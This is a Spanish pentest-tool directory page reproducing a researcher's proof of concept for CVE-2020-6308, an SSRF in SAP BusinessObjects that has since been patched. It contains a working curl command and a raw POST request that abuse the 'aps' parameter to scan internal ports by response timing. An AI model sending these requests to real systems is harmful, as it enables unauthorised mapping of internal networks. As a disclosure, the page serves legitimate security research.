Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-6308-PoC — PoC CVE-2020-6308 | Kitploit
Herramientas/GitHubGitHub/initroot/cve-2020-6308-poc
ReconocimientoMapeo de RedesAnálisis de VulnerabilidadesExplotaciónSeguridad WebPruebas de Penetración
GitHubinitroot/cve-2020-6308-poc

CVE-2020-6308-PoC

PoC CVE-2020-6308

Ver Repositorio
365hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-6308 SAP POC

Follow on Twitter GitHub last commit GitHub stars

SAP BusinessObjects Business Intelligence Platform (Web Services), versiones 410, 420 y 430, permite a un atacante no autenticado inyectar valores arbitrarios como parámetros CMS para realizar búsquedas en la red interna que de otro modo no es accesible externamente. Sígueme en Twitter o por DM para preguntas: https://twitter.com/initroott

Reporté el problema a SAP en mayo de 2020 y el parche se lanzó en octubre de 2020. Puedes continuar y desarrollar tu propio PoC más a fondo; sin embargo, te proporcionaré un poco de antecedentes. La función CMS no valida la dirección proporcionada. Si el firewall del host no está configurado correctamente, es posible identificar fácilmente puertos o la red interna basándose en las respuestas recibidas de las solicitudes. En el siguiente ejemplo mostraré cómo puedes ver los puertos abiertos utilizando la solicitud cURL.. En el siguiente ejemplo tengo un host SAP (192.168.0.191), una máquina atacante (192.168.0.149) y otro dispositivo, p. ej., el router interno (192.168.0.1).

Nuestro host SAP tiene los siguientes puertos abiertos:

Y nuestro router interno tiene abiertos los siguientes: 53, 80, 34573

Así que probemos esto: podemos identificar puertos abiertos simplemente basándonos en los tiempos de respuesta de las solicitudes. Ejemplos a continuación:

root@kitploit:~
time curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
    --data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
    $'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='

Probando los siguientes payloads:

  • 192.168.0.1:4
  • 192.168.0.1:5

Aquí puedes ver los resultados de tiempo de prueba para puertos cerrados, un promedio de alrededor de 5 ms..

  • 192.168.0.1:22
  • 192.168.0.1:80

Aquí puedes ver los resultados de tiempo de prueba para puertos abiertos/filtrados, mucho más grandes..

Ahora bien, lo siguiente no es ideal, ya que diferentes rutas o algunos firewalls pueden afectar los resultados. Sin embargo, debería darte una idea de por dónde empezar a construir un exploit mejor.. Lo anterior se puede ajustar creando una línea base y luego trabajando a partir de ahí. Definitivamente recomendaría configurar un listener y ver qué sucede.

Lo siguiente muestra cómo se verá la solicitud en Burp con el parámetro APS como punto de inyección vulnerable. Un PoC más sencillo sería simplemente inyectar un valor de token canario y esperar el disparador..

Solicitud Web

root@kitploit:~
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1

aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp
Descargar herramienta